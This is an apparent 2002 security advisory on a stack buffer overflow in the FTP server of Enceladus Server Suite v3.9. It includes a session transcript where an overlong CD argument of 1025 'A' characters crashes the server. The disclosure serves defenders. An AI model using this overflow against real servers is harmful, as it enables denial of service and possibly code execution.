Enceladus Server Suite v3.9 Buffer Overflow Vulnerability

Type

Buffer Overflow

Release Date

December 09, 2002

Product / Vendor

Enceladus Server Suite is an Internet/Intranet lightweight Web and FTP Server for Windows, provides secure file sharing on any network. Perfect for Broadband, Cable Modem, Small business and Personal Use. You don't have to be an expert to setup file sharing or run your own web site and FTP Server. This Server Suite is One of the Easiest To Install and Operate.

http://www.mollensoft.com

Summary

Enceladus Server Suite is vulnerable to a buffer overflow condition. An attacker may supply a long sequence of characters as an argument to "CD" command. If the length of the supplied string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself. It is possible for a malicious user to craft a request that will result in code execution on the vulnerable system.

An analysis for this vulnerability exists and is available below.

==================== SNIP ====================

ts@metacortex:~$ ftp 192.168.10.2
Connected to 192.168.10.2.
220 Mollensoft FTP Server Ready.
Name (192.168.10.2:ts): anonymous
331 Password required for anonymous.
Password:
230 User anonymous logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
500 'EPSV': command not understood.
227 Entering Passive Mode (192,168,10,2,6,160)
150 Data connection open for PASV transfer.
-rwxr-xr-x 1 User Group 6468 Feb 17 01:13 index.html
-rwxr-xr-x 1 User Group 70 Oct 31 04:52 readme.txt
226 Listing complete.
ftp> cd <1025 Char 'A'>
421 Service not available, remote server has closed connection.

==================== SNIP ====================

Tested

Enceladus Server Suite v3.9 / Windows 2000 sp3
Enceladus Server Suite v3.9 / Windows 98 SE

Vulnerable

Enceladus Server Suite v3.9 / Windows 2000 sp3
Enceladus Server Suite v3.9 / Windows 98 SE

Disclaimer

http://www.securityoffice.net is not responsible for the misuse or illegal use of any of the information and/or the software listed on this security advisory.

Author

Tamer Sahin
ts(at)securityoffice.net
http://www.securityoffice.net